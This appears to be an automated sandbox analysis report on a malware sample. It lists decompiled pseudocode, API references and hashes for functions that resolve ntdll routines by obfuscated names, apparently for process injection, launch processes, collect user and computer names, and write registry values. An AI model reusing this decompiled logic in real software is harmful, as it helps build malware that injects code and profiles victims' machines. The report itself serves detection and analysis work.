Part of subcall function 6D4BFDC0: std::_Lockit::_Lockit.LIBCPMT ref: 6D4BFDD6

ctype.LIBCPMT ref: 6D4C3C28
std::bad_exception::bad_exception.LIBCMT ref: 6D4C3C3C
__CxxThrowException@8.LIBCMT ref: 6D4C3C4A
std::locale::facet::_Incref.LIBCPMTD ref: 6D4C3C5A
std::locale::facet::facet_Register.LIBCPMT ref: 6D4C3C60

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: LockitLockit::_std::_$Exception@8H_prolog3IncrefRegisterThrowctypestd::bad_exception::bad_exceptionstd::locale::facet::_std::locale::facet::facet_
String ID:
API String ID: 1593823581-0
Opcode ID: 51ad2fabf5f1fbbc569c7a57d56fd1626cd9347c42055a3160469c1eb8db5a8f
Instruction ID: 70ebf8d3b47c1b75ec63afab7c9bcf30ab6351bb310ce97adb8f644a74def28b
Opcode Fuzzy Hash: 51ad2fabf5f1fbbc569c7a57d56fd1626cd9347c42055a3160469c1eb8db5a8f
Instruction Fuzzy Hash: 6101617A90811597CF06DBA48885FBEB3356F90728F22051DD2116B2D0DF749E02CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 00818EA1, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E00818EA1(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E0081592D(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E0081A749( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x81d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x81d2a8; // 0x45fa5a8
					_t18 = _t47 + 0x81e3e6; // 0x73797325
					_t68 = E00813C48(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x81d2a8; // 0x45fa5a8
						_t19 = _t50 + 0x81e747; // 0x4e18cef
						_t20 = _t50 + 0x81e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E0081A62D();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E0081A62D();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x81d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E0081A734(_t70);
				goto L12;
			}

0x00818ea9
0x00818ea9
0x00818eb8
0x00818ebf
0x00818ec4
0x00818fd1
0x00818fd8
0x00818fd8
0x00818ed3
0x00818edb
0x00818ede
0x00818ee3
0x00818ef8
0x00818efe
0x00818eff
0x00818f02
0x00818f08
0x00818f0b
0x00818f10
0x00818f18
0x00818f24
0x00818f28
0x00818fb8
0x00818f2e
0x00818f2e
0x00818f33
0x00818f3a
0x00818f4e
0x00818f52
0x00818fa1
0x00818f54
0x00818f55
0x00818f5c
0x00818f75
0x00818f77
0x00818f7b
0x00818f82
0x00818f9c
0x00818f84
0x00818f8d
0x00818f92
0x00818f92
0x00818f82
0x00818fb0
0x00818fb0
0x00818f28
0x00818fbf
0x00818fc8
0x00818fcc
0x00000000

APIs

Part of subcall function 0081592D: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,00818EBD,?,00000001,?,?,00000000,00000000), ref: 00815952
Part of subcall function 0081592D: GetProcAddress.KERNEL32(00000000,7243775A), ref: 00815974
Part of subcall function 0081592D: GetProcAddress.KERNEL32(00000000,614D775A), ref: 0081598A
Part of subcall function 0081592D: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 008159A0
Part of subcall function 0081592D: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 008159B6
Part of subcall function 0081592D: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 008159CC

memset.NTDLL ref: 00818F0B

Part of subcall function 00813C48: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,00818F24,73797325), ref: 00813C59
Part of subcall function 00813C48: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 00813C73

GetModuleHandleA.KERNEL32(4E52454B,04E18CEF,73797325), ref: 00818F41
GetProcAddress.KERNEL32(00000000), ref: 00818F48
HeapFree.KERNEL32(00000000,00000000), ref: 00818FB0

Part of subcall function 0081A62D: GetProcAddress.KERNEL32(36776F57,0081A2D4), ref: 0081A648

CloseHandle.KERNEL32(00000000,00000001), ref: 00818F8D
CloseHandle.KERNEL32(?), ref: 00818F92
GetLastError.KERNEL32(00000001), ref: 00818F96

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: 942e7836e0e3ed6588316d74ed66ad145163851bf7c022f08987cc5e01ded2e7
Instruction ID: 2684480d8c848dae72719b968c88cba9d8deec22bf57361165c551934aaa5a8a
Opcode Fuzzy Hash: 942e7836e0e3ed6588316d74ed66ad145163851bf7c022f08987cc5e01ded2e7
Instruction Fuzzy Hash: B73139B2900208EFDB10AFA4DC89ADEBBBDFF48344F104465F606E3161DB75AA85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BE8B0, Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6D4BE912

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: 8ad3bf76dc011543ac8f0b69892a1658115a0a1fb2fa30f2bd143288994143e1
Instruction ID: 6f1e58cd70eca2b708af64e68cde7cd548308231744a5f6b07f61c35986ab805
Opcode Fuzzy Hash: 8ad3bf76dc011543ac8f0b69892a1658115a0a1fb2fa30f2bd143288994143e1
Instruction Fuzzy Hash: 53416A31814158EBDB18CBA4D890FAAB374BB94314F5086EE951AA7295DB30AE45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00811BB6, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00811BB6(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x81d2a8; // 0x45fa5a8
				_t1 = _t9 + 0x81e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E0081173D(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E0081A71F(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E008164EF(_t34, _t41, _a8);
						E0081A734(_t41);
						_t42 = E00816467(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E0081A734(_t36);
							_t36 = _t42;
						}
						_t43 = E008117E5(_t36, _t33);
						if(_t43 != 0) {
							E0081A734(_t36);
							_t36 = _t43;
						}
					}
					E0081A734(_t28);
				}
				return _t36;
			}

0x00811bb6
0x00811bb9
0x00811bba
0x00811bc2
0x00811bc9
0x00811bd0
0x00811bd4
0x00811bda
0x00811be1
0x00811be6
0x00811bf8
0x00811bfc
0x00811c00
0x00811c06
0x00811c0b
0x00811c1b
0x00811c1d
0x00811c34
0x00811c38
0x00811c3b
0x00811c40
0x00811c40
0x00811c49
0x00811c4d
0x00811c50
0x00811c55
0x00811c55
0x00811c4d
0x00811c58
0x00811c58
0x00811c63

APIs

Part of subcall function 0081173D: lstrlen.KERNEL32(00000000,00000000,00000000,745EC740,?,?,?,00811BD0,253D7325,00000000,00000000,745EC740,?,?,008120C2,?), ref: 008117A4
Part of subcall function 0081173D: sprintf.NTDLL ref: 008117C5

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,745EC740,?,?,008120C2,?,04E195B0), ref: 00811BE1
lstrlen.KERNEL32(?,?,?,008120C2,?,04E195B0), ref: 00811BE9

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

strcpy.NTDLL ref: 00811C00
lstrcat.KERNEL32(00000000,?), ref: 00811C0B

Part of subcall function 008164EF: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,00811C1A,00000000,?,?,?,008120C2,?,04E195B0), ref: 00816506

Part of subcall function 0081A734: HeapFree.KERNEL32(00000000,00000000,00815637,00000000,?,?,00000000), ref: 0081A740

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,008120C2,?,04E195B0), ref: 00811C28

Part of subcall function 00816467: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,00811C34,00000000,?,?,008120C2,?,04E195B0), ref: 00816471
Part of subcall function 00816467: _snprintf.NTDLL ref: 008164CF

Strings

=, xrefs: 00811C22

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: 799a7d33eb230d5d76519279e384e3f50417943ea483be3d3329cc866ba5fd34
Instruction ID: ddd7baa61244318541aa8f0e39ef02a750d4f8c3ce893e81eb7467d9ca09f873
Opcode Fuzzy Hash: 799a7d33eb230d5d76519279e384e3f50417943ea483be3d3329cc866ba5fd34
Instruction Fuzzy Hash: BA11C67B602625774B16B7B89C89CEE36ADFF557503058515F604D7202DE38CDC287E2

Uniqueness

Uniqueness Score: -1.00%

Function 00816891, Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 008168EB
SysAllocString.OLEAUT32(0070006F), ref: 008168FF
SysAllocString.OLEAUT32(00000000), ref: 00816911
SysFreeString.OLEAUT32(00000000), ref: 00816979
SysFreeString.OLEAUT32(00000000), ref: 00816988
SysFreeString.OLEAUT32(00000000), ref: 00816993

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 45f40ad8ede60827d5a5515373b6c18cef1988faf1c9e738a596efdb311cddcf
Instruction ID: 95c27ceea11a2f8adc6d28ca4b1ff001e88e86185f042989baa2de6739a67c86
Opcode Fuzzy Hash: 45f40ad8ede60827d5a5515373b6c18cef1988faf1c9e738a596efdb311cddcf
Instruction Fuzzy Hash: 3F417F36900A09AFDB01DFBCD844AEEBBBEFF48310F144425E914EB220EA719D55CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0081592D, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0081592D(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E0081A71F(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x81d2a8; // 0x45fa5a8
					_t1 = _t23 + 0x81e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x81d2a8; // 0x45fa5a8
					_t2 = _t26 + 0x81e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E0081A734(_t54);
					} else {
						_t30 =  *0x81d2a8; // 0x45fa5a8
						_t5 = _t30 + 0x81e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x81d2a8; // 0x45fa5a8
							_t7 = _t33 + 0x81e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x81d2a8; // 0x45fa5a8
								_t9 = _t36 + 0x81e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x81d2a8; // 0x45fa5a8
									_t11 = _t39 + 0x81e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E00816604(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x0081593c
0x00815940
0x00815a02
0x00815946
0x00815946
0x0081594b
0x0081595e
0x00815960
0x00815965
0x0081596d
0x00815974
0x00815976
0x0081597b
0x008159fa
0x008159fb
0x0081597d
0x0081597d
0x00815982
0x0081598a
0x0081598c
0x00815991
0x00000000
0x00815993
0x00815993
0x00815998
0x008159a0
0x008159a2
0x008159a7
0x00000000
0x008159a9
0x008159a9
0x008159ae
0x008159b6
0x008159b8
0x008159bd
0x00000000
0x008159bf
0x008159bf
0x008159c4
0x008159cc
0x008159ce
0x008159d3
0x00000000
0x008159d5
0x008159db
0x008159e0
0x008159e7
0x008159ec
0x008159f1
0x00000000
0x008159f3
0x008159f6
0x008159f6
0x008159f1
0x008159d3
0x008159bd
0x008159a7
0x00815991
0x0081597b
0x00815a10

APIs

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,00818EBD,?,00000001,?,?,00000000,00000000), ref: 00815952
GetProcAddress.KERNEL32(00000000,7243775A), ref: 00815974
GetProcAddress.KERNEL32(00000000,614D775A), ref: 0081598A
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 008159A0
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 008159B6
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 008159CC

Part of subcall function 00816604: memset.NTDLL ref: 00816683

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: a3fd5b50f1cd8cd33324111b61610358d55ee6e32ea2b71163b49c706cd99c20
Instruction ID: 6be7420dd79c30bc6b7dca1a80ee919ee0327b0d8a9828a4fb0876d4c29f6dab
Opcode Fuzzy Hash: a3fd5b50f1cd8cd33324111b61610358d55ee6e32ea2b71163b49c706cd99c20
Instruction Fuzzy Hash: 402191B4600B0AEFD710DF69DC84EE6BBECFF443007018566E945C7221E7B8E9858B61

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C8290, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 6D4C82B8

Part of subcall function 6D4C6431: __getptd.LIBCMT ref: 6D4C643F
Part of subcall function 6D4C6431: __getptd.LIBCMT ref: 6D4C644D

__getptd.LIBCMT ref: 6D4C82C2

Part of subcall function 6D4CAEC6: __getptd_noexit.LIBCMT ref: 6D4CAEC9
Part of subcall function 6D4CAEC6: __amsg_exit.LIBCMT ref: 6D4CAED6

__getptd.LIBCMT ref: 6D4C82D0
__getptd.LIBCMT ref: 6D4C82DE
__getptd.LIBCMT ref: 6D4C82E9
_CallCatchBlock2.LIBCMT ref: 6D4C830F

Part of subcall function 6D4C64D6: __CallSettingFrame@12.LIBCMT ref: 6D4C6522

Part of subcall function 6D4C83B6: __getptd.LIBCMT ref: 6D4C83C5
Part of subcall function 6D4C83B6: __getptd.LIBCMT ref: 6D4C83D3

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 30ef6bdf4328dd04bbd30316e98f65027d5da94ec5e1ec17ecb28112682f2306
Instruction ID: 6eaa465bdfaedb231121b5087a20daefb91923dbf0b933424973f9b47ec8b175
Opcode Fuzzy Hash: 30ef6bdf4328dd04bbd30316e98f65027d5da94ec5e1ec17ecb28112682f2306
Instruction Fuzzy Hash: 5F11C6B5C04209EFDB00DFA4C945EEE7BB0FF04319F118469E914A7260EB399E119B95

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C1700, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 269COMMON

Download Yara Rule

APIs

std::ios_base::getloc.LIBCPMTD ref: 6D4C172F

Part of subcall function 6D4BE4D0: std::locale::locale.LIBCPMTD ref: 6D4BE4EA

Part of subcall function 6D4C1F70: std::_Lockit::_Lockit.LIBCPMT ref: 6D4C1F9A
Part of subcall function 6D4C1F70: int.LIBCPMTD ref: 6D4C1FB3

Part of subcall function 6D4BE200: std::locale::facet::_Decref.LIBCPMTD ref: 6D4BE216

numpunct.LIBCPMTD ref: 6D4C1769
_memmove_s.LIBCMT ref: 6D4C1868
std::ios_base::width.LIBCPMTD ref: 6D4C19DA

Strings

@, xrefs: 6D4C18E1

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: DecrefLockitLockit::__memmove_snumpunctstd::_std::ios_base::getlocstd::ios_base::widthstd::locale::facet::_std::locale::locale
String ID: @
API String ID: 3659140288-2766056989
Opcode ID: f4fd5889a24029401654406e3764699a035a260637bad8bb793612fba7714823
Instruction ID: fc883eb614ea50014ee2c53e50d00a5d319866f4a176f8b4b34744583b92fd9e
Opcode Fuzzy Hash: f4fd5889a24029401654406e3764699a035a260637bad8bb793612fba7714823
Instruction Fuzzy Hash: 76B105B5A081499FCB04CFA8C990EEEBBB5BF89304F25825DE919A7351D734AD01CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0081853F, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0081853F(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				intOrPtr _t64;
				char _t65;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x81d33c);
					_t91 = 0x80000002;
					L6:
					_t59 = E00819070( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					if(E00816E98(_t92, _t97, _t101, _t91, _t59) != 0) {
						L27:
						E0081A734(_a8);
						goto L29;
					}
					_t64 =  *0x81d278; // 0x4e19a98
					_t16 = _t64 + 0xc; // 0x4e19b66
					_t65 = E00819070(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d0081c0
						if(E008122F1(_t97,  *_t33, _t91, _a8,  *0x81d334,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))) == 0) {
							_t68 =  *0x81d2a8; // 0x45fa5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x81ea3f; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x81e8e7; // 0x55434b48
								_t69 = _t34;
							}
							if(E00816C38(_t69,  *0x81d334,  *0x81d338,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x81d2a8; // 0x45fa5a8
									_t44 = _t71 + 0x81e846; // 0x74666f53
									_t73 = E00819070(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d0081c0
										E00815D7D( *_t47, _t91, _a8,  *0x81d338, _a24);
										_t49 = _t101 + 0x10; // 0x3d0081c0
										E00815D7D( *_t49, _t91, _t99,  *0x81d330, _a16);
										E0081A734(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d0081c0
									E00815D7D( *_t40, _t91, _a8,  *0x81d338, _a24);
									_t43 = _t101 + 0x10; // 0x3d0081c0
									E00815D7D( *_t43, _t91, _a8,  *0x81d330, _a16);
								}
								if( *_t101 != 0) {
									E0081A734(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d0081c0
					_t81 = E00818BC1( *_t21, _t91, _a8, _t65,  &_v16,  &_v12);
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d0081c0
							E008122F1(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E0081A734(_t100);
						_t98 = _a16;
					}
					E0081A734(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E0081A749(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x81d33c);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}

0x0081853f
0x00818548
0x0081854f
0x00818554
0x008185c1
0x008185c7
0x008185cc
0x008185d3
0x008185d8
0x008185dd
0x00818748
0x0081874f
0x0081874f
0x00818754
0x00818756
0x00818756
0x0081875f
0x0081875f
0x008185e3
0x008185ef
0x0081873e
0x00818741
0x00000000
0x00818741
0x008185f5
0x008185fa
0x008185fd
0x00818602
0x00818607
0x00818650
0x00818650
0x00818663
0x0081866d
0x00818673
0x0081867a
0x00818684
0x00818684
0x0081867c
0x0081867c
0x0081867c
0x0081867c
0x008186a6
0x008186ae
0x008186dc
0x008186e1
0x008186e8
0x008186ed
0x008186f1
0x00818723
0x008186f3
0x00818700
0x00818703
0x00818713
0x00818716
0x0081871c
0x0081871c
0x008186b0
0x008186bd
0x008186c0
0x008186d2
0x008186d5
0x008186d5
0x0081872d
0x00818739
0x0081872f
0x00818732
0x00818732
0x0081872d
0x008186a6
0x00000000
0x0081866d
0x00818616
0x00818619
0x00818620
0x00818626
0x00818629
0x0081862b
0x00818637
0x0081863a
0x0081863a
0x00818640
0x00818645
0x00818645
0x0081864b
0x00000000
0x0081864b
0x00818559
0x00000000
0x00818580
0x00818580
0x0081858c
0x0081859f
0x008185a5
0x008185ad
0x00000000
0x008185ad

APIs

StrChrA.SHLWAPI(00813741,0000005F,00000000,00000000,00000104), ref: 00818572
lstrcpy.KERNEL32(?,?), ref: 0081859F

Part of subcall function 00819070: lstrlen.KERNEL32(?,00000000,04E19A98,00000000,00818808,04E19C76,?,?,?,?,?,63699BC3,00000005,0081D00C), ref: 00819077
Part of subcall function 00819070: mbstowcs.NTDLL ref: 008190A0
Part of subcall function 00819070: memset.NTDLL ref: 008190B2

Part of subcall function 00815D7D: lstrlenW.KERNEL32(?,?,?,00818708,3D0081C0,80000002,00813741,0081A513,74666F53,4D4C4B48,0081A513,?,3D0081C0,80000002,00813741,?), ref: 00815DA2

Part of subcall function 0081A734: HeapFree.KERNEL32(00000000,00000000,00815637,00000000,?,?,00000000), ref: 0081A740

lstrcpy.KERNEL32(?,00000000), ref: 008185C1

Strings

\, xrefs: 008185A5
(, xrefs: 00818622

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: ($\
API String ID: 3924217599-1512714803
Opcode ID: 8d123d319988cbeaf88107f4c6de6aa431bff6c386719c4e7eb88f66a2bc6d88
Instruction ID: 773ac911b919cc92ffd97c553496269599ac767ddc80658c6c3fba0488c22cc6
Opcode Fuzzy Hash: 8d123d319988cbeaf88107f4c6de6aa431bff6c386719c4e7eb88f66a2bc6d88
Instruction Fuzzy Hash: 5B516876100209EFCF11AFA4DC46EEA7BBEFF08344F108918F951D6161EB35D9A1AB12

Uniqueness

Uniqueness Score: -1.00%

Function 0081A199, Relevance: 7.6, APIs: 5, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0081A199() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t64 = E0081A71F(_v12 + _t43 + 2 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E0081A734(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x811fd4
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x0081a1a7
0x0081a1aa
0x0081a1ad
0x0081a1b3
0x0081a1b8
0x0081a1be
0x0081a1c6
0x0081a1c9
